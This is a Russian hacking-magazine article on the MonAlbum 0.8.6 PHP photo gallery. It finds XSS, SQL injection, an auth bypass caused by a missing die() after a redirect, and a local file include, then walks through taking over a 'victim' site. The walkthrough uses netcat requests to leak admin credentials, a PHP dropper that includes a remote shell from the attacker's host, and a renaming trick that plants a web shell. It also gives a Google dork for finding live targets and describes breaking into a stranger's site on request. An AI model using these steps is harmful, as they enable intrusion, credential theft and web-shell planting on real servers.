Детские ошибки MonAlbum Gasoid «Stefun» Rich Хакер, номер #107, стр. 107-078-1 Находим баги в семейном фотоальбоме«Да ты хакер», – часто говорят мне знакомые и друзья. Но никто из них и не догадывается, как трудно стать матерым взломщиком и сколько надо прочитать, просмотреть исходников, чтобы наконец-то найти свой первый баг! У меня за спиной, конечно же, не один баг, но я с радостью готов вспомнить молодость и показать тебе последовательность анализа популярного самописного движка. Готов? Тогда погружаемся в плавание! ПредысторияКак-то раз ко мне в аську постучался знакомый и попросил найти уязвимость на одном сайте (приводить название сайта я не буду). На ресурсе находилось несколько страничек и форум - в общем, ничего особенного я там не нашел. Сайт был написан на PHP с поддержкой SQL, на движок пока не хотелось тратить время, и я продолжил чисто поверхностное исследование. На сайте находился какой-то блог, но толку от него практически не было. Там же стояла непонятная фотогалерея MonAlbum версии 0.8.6. Я решил ее исследовать и найти ошибки в коде. Собственно, всем известно, что безошибочных скриптов не бывает, просто надо очень внимательно изучать каждую часть кода. Таким образом я и решил найти баг (что мне в дальнейшем и удалось :)). Осмотр пациентаВсе мы любим свежие баги в популярных скриптах, тем более когда мы их сами находим. А еще приятнее, когда эти баги обнаруживаются в скриптах, установленных на раскрученных сайтах :). Для успешной реализации задуманного мне пришлось скачать MonAlbum к себе на комп. Для этого я воспользовался поисковой системой www.google.ru – это, на мой взгляд, самый лучший хакерский поисковик, о его возможностях не раз писали в «Хакере». Но, как говорится, на вкус и цвет товарищей нет. Так что юзай то, что предпочитаешь ты. PHP-скрипт галереи представлял собой фотогалерею с поддержкой базы данных MySQL. Скрипт этот на просторах рунета не очень популярен, но в Западной Европе таких сайтов много, особенно в зоне .de. Я скачал последнюю версию скрипта 0.8.6. Лучше экспериментировать локально, поэтому на Винде я использую для этих целей Denwer (хотя можно довериться и аналогичному по функциям TopServer’у). Распаковав архив, я увидел следующие файлы/папки: _doc, admin, conf, css, images, img, lang, lib, admin.php, image_agrandir.php, image_description.php, index.php, install.php. Для установки движка я открыл в браузере файл install.php. Потом, бегло просмотрев файл index.php (я открыл его первым, потому что он index), я ничего особенного не обнаружил и перешел к следующему файлу image_agrandir.php. И тут удача мне улыбнулась - я нашел первую XSS: echo "<html><head>"; if ($slide && $nextimage) { echo"<META HTTP-EQUIV=REFRESH CONTENT=\"$slide;URL=image_agrandir.php?id_image=$id_rub_sup&slide=$slide\">"; } echo "<link rel=stylesheet type='text/css' href='css/album.css'><title>$gsite</title></head><body bgcolor='$gpage'>"; Переменные $slide и $nextimage перед приведенным кодом не фильтровались. Но это, к большому сожалению, особо ничего не давало. Поэтому я перешел к просмотру админки, и меня сразу же порадовал скрипт admin/admin_affrech_rub.php echo "<br><b>"._LIST_OF_DIR."</b> : <br>"; $prubrique = $_POST["prubrique"]; if (isset($prubrique)&&$prubrique!="") { $result = execute_requete("select id_rub , nom from monalbum_rubrique where nom like \"$prubrique%\" order by nom"); Ура! SQL-injection! Но для эксплуатации нужны были права админа, а их еще надо было получить! Для проверки своих догадок я протестил эту sql-инъекцию локально: >nc 127.0.0.1 80 POST /admin/admin_affrech_rub.php HTTP/1.1 HOST: alb Content-Length: 15 prubrique=llk' И получил интересный ответ. По идее, после заголовков сервера никаких данных быть не должно, так как браузер сразу же переходт по значению хедера Location. Но вопреки моим ожиданиям... HTTP/1.1 302 Found Date: Fri, 29 Jun 2007 11:21:21 GMT Server: Apache/1.3.33 (Win32) PHP/4.4.4 X-Powered-By: PHP/4.4.4 Set-Cookie: PHPSESSID=a70b5b2705f20a83dc5164532e9c833f; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: http://alb/admin/login_page.php ... <html><head><link rel=stylesheet type='text/css' href='../css/album.css'></head> <body bgcolor='FFFFFF'><table border=0 cellspacing=3 width=600><tr><td bgcolor=# 999999 width=100%><table border=0 cellspacing=0 cellpadding=3 width=100%><tr><td bgcolor=#DEDEDE><center>Search for directories</center></td></tr></table></tabl e><br><form method='post' action=admin_affrech_rub.php><input type="hidden" name ="PHPSESSID" value="426d84db7a48c04a98ca485837fbdd5e" /> </td><td><input type='text' name='prubrique'> <input type='submit' value='Search'> </form><br><b>List of folders</b> : <br>><a href=admin_ajouter_ru b.php?id_rub=1&PHPSESSID=426d84db7a48c04a98ca485837fbdd5e>444</a><br>><a href=ad min_ajouter_rub.php?id_rub=0&PHPSESSID=426d84db7a48c04a98ca485837fbdd5e>Tmp</a>< br> <br><br><b>2</b> results</body></html> «Вот это да!» - подумал я. Хотя в ответе сервера и нет указания на ошибку в запросе, но ясно, что скрипт выполняется дальше, даже если нет прав админа. А значит, надо найти файл, отвечающий за ввод или вывод настроек. И вот тот самый файл admin/admin_configuration.php. Смотрим дальше и видим следующее: include("./secure.php"); //инклудим файл secure.php $glangage = $_POST['glangage']; //язык, вот здесь интересно if (!isset($glangage)) include("../conf/config.inc.php"); // inclut pas qd sauvegarde, ну здесь конфиг инклудится include ("../lib/album.inc"); // какая-то библиотека include_once("../lang/$glangage"); // локальный инклуд! $mod = $_POST['mod']; //дальше идет вывод настроек MonAlbum... Вот ключик к админке! Теперь получить шелл на сайте было делом техники. Что касается файла secure.php, то в нем не было ничего, кроме: session_start(); if (!isset($_SESSION['name'])) header ("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/login_page.php"); Код всего лишь перенаправлял юзера, если тот был не в сессии администратора. Самое интересное, что в коде отсутствовали инструкции die() и exit, хотя по соображениям безопасности они должны были быть! Остальные инклуд-файлы, судя по их названиям (../conf/config.inc.php, ../lib/album.inc), не представляли интереса. Строчка «include_once("../lang/$glangage")», расположенная в файле admin_configuration.php, не должна была вызвать какие-то проблемы, даже если $_POST['glangage'] ссылался бы на несуществующий файл (можно считать, что это локальный include-баг). Вместе с отсутствием die это были два очень серьезных бага. Напутствие перед боем!Итак, благодаря поверхностному изучению движка, мы имеем возможность просмотреть все настройки скрипта, включая логин и пасс админа, а также данные для подключения к БД, потому как скрипт продолжает выполняться после перенаправления браузера (хидер Location). Теперь попробуем, заюзать баг на практике. Но уже не локально, а удаленно, выбрав себе жертву через Google. Эксплуатация багаИ вот я придумал, как залить шелл, что оказалось очень просто. Но все по порядку. Сначала надо получить доступ к админке. Делаем следующее: >nc www.victim.ru 80 GET /monalbum/admin/admin_configuration.php HTTP/1.1 HOST: www.victim.ru После этого HTTP-запроса сервер выполнит PHP-скрипт admin_configuration.php. Тот вернет HTML-код, который будет объединен с ответом сервера. В куче HTML-кода есть password и login админа. Нашел? Молодец! Теперь заходим в админку www.victim.ru/monalbum/admin.php. И заливаем на сервак следующий файл: <?php $f=fopen("../images/sh.php","w"); fputs($f,"<?php include(\"http://my_site/sh.txt\");?>"); fclose($f); die("yeah!"); ?> Здесь, как ты сам догадался, sh.txt - твой любимый PHP-шелл. После закачки я получил кучу предупреждений по поводу невозможности определить разрешение файла, тип картинки и т.д., но файл успешно сохранился в папке /images. Дальше заходим браузером на admin/admin_configuration.php, сохраняем страницу на жесткий диск, удаляем из паги <input type="hidden" name="mod"> и меняем <select name="glangage">, а точнее, значение одного из <option> на название нашего файла «../images/sh.jpg» (не забудь изменить параметр action формы корректным значением). Теперь перезагружаем страничку, выбираем нужный нам язык и отправляем форму на сервер. Но это не получится, если в настройках запрещен удаленный инклуд файлов. В случае такого досадного рестрикта, поступим следующим образом: Приготовим два файла. Первый - sh1.jpg: <?php system("mv ../images/sh2.jpg ../images/xxx.php"); die(); ?> И sh2.jpg - сам шелл. Файл sh1.jpg после обращения к нему должен переименовать sh2.jpg в xxx.php. Залив их обоих на сервер жертвы описанным выше способом, воспользуемся инклудом, и скрипт сработает! Зайдя на пагу www.victim.com/monalbum/images/xxx.php, я увидел долгожданную картину. Но потом испугался, что придется отвечать за содеянное, и ушел со страницы восвояси. И при этом я не забыл удалить все лишние файлы, кроме самого нужного. Потом было пиво, водка, девушки, защита диплома, а главное – свобода! В общем, все остались довольны, и никто не пострадал :). INFOК твоему сведению, на запрос «Powered by MonAlbum site:.de inurl:index.php» Гугл выдал мне кучу сайтов. Счастливым владельцам галереи MonAlbum я бы порекомендовал пропатчить файл secure.php либо полностью отказаться от этого скрипта. DANGERЭта статья написана в помощь администраторам и авторам всевозможных PHP-скриптов с целью указать им на их возможные ошибки. За использование информации в незаконных целях редакция и автор ответственности не несут. WWWПо ссылке http://d4rkevil.org/sploit.html можно найти сплоит для этой уязвимости. Сплоит до написания статьи находился в строжайшем привате, но для тебя мы откроем этот «железный занавес». Последняя версия скрипта 0.8.6с доступна на сайте www.3dsrc.com/monalbum. VIDEOНа нашем DVD ищи познавательный видеоурок, эксплуатирующий досадную уязвимость. DVDНа диске ищи последнюю версию MonAlbum, мой элитный WebShell, скрипты, которые помогли мне моем в нелегком деле, а также NetCat, Denwer и TopServer для организации локального плацдарма. |